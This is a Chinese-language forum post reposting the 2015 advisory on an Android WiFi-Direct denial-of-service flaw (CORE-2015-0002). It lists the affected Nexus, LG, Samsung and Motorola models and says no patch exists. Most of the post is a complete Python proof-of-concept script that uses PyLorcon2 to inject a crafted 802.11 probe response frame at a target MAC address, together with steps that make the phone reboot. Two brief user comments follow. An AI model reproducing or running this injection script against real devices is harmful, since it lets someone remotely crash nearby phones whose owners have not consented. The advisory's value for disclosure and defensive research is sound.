安卓Wifi直连拒绝服务漏洞

90_

[CORE-2015-0002] - Android WiFi-Direct Denial of Service
http://seclists.org/fulldisclosure/2015/Jan/104

部分安卓设备在搜索Wifi直连设备时可遭受拒绝服务攻击

攻击者可以发送一个精心构造的802.11响应信号帧 使Dalvik子系统由于WiFiMonitor类中未捕获的异常而重启

受影响设备版本：
   . Nexus 5 - Android 4.4.4
   . Nexus 4 - Android 4.4.4
   . LG D806 - Android 4.2.2
   . Samsung SM-T310 - Android 4.2.2
   . Motorola RAZR HD - Android 4.1.2

在4.4.4系统上复现成功

由于安卓官方回应“该漏洞影响较小，没有时间修复”，目前该漏洞没有任何补丁

POC：

[AppleScript] 纯文本查看 复制代码

#!/usr/bin/env python 

import sys 
import time 
import struct 
import PyLorcon2 


def get_probe_response(source, destination, channel): 
  frame = str() 
  frame += "\x50\x00"  # Frame Control 
  frame += "\x00\x00"  # Duration 
  frame += destination 
  frame += source 
  frame += source 
  frame += "\x00\x00"  # Sequence Control 
  frame += "\x00\x00\x00\x00\x00\x00\x00\x00"  # Timestamp 
  frame += "\x64\x00"  # Beacon Interval 
  frame += "\x30\x04"  # Capabilities Information 

  # SSID IE 
  frame += "\x00" 
  frame += "\x07" 
  frame += "DIRECT-" 

  # Supported Rates 
  frame += "\x01" 
  frame += "\x08" 
  frame += "\x8C\x12\x98\x24\xB0\x48\x60\x6C" 

  # DS Parameter Set 
  frame += "\x03" 
  frame += "\x01" 
  frame += struct.pack("B", channel) 

  # P2P 
  frame += "\xDD" 
  frame += "\x27" 
  frame += "\x50\x6F\x9A" 
  frame += "\x09" 
  # P2P Capabilities 
  frame += "\x02" # ID 
  frame += "\x02\x00" # Length 
  frame += "\x21\x00" 
  # P2P Device Info 
  frame += "\x0D" # ID 
  frame += "\x1B\x00" # Length 
  frame += source 
  frame += "\x01\x88" 
  frame += "\x00\x0A\x00\x50\xF2\x04\x00\x05" 
  frame += "\x00" 
  frame += "\x10\x11" 
  frame += "\x00\x06" 
  frame += "fafa\xFA\xFA" 

  return frame 


def str_to_mac(address): 
  return "".join(map(lambda i: chr(int(i, 16)), address.split(":"))) 


if __name__ == "__main__": 
  if len(sys.argv) != 3: 
    print "Usage:" 
    print "  poc.py <iface> <target>" 
    print "Example:" 
    print "  poc.py wlan0 00:11:22:33:44:55" 
    sys.exit(-1) 

  iface = sys.argv[1] 
  destination = str_to_mac(sys.argv[2]) 

  context = PyLorcon2.Context(iface) 
  context.open_injmon() 

  channel = 1 
  source = str_to_mac("00:11:22:33:44:55") 
  frame = get_probe_response(source, destination, channel) 

  print "Injecting PoC." 
  for i in range(100): 
    context.send_bytes(frame) 
    time.sleep(0.100)

运行poc，在 设置-wlan-右下按钮wlan直连-搜索设备时触发漏洞，系统重启

Jinice

远程让手机重启不算漏洞

ran

又来分享好东西了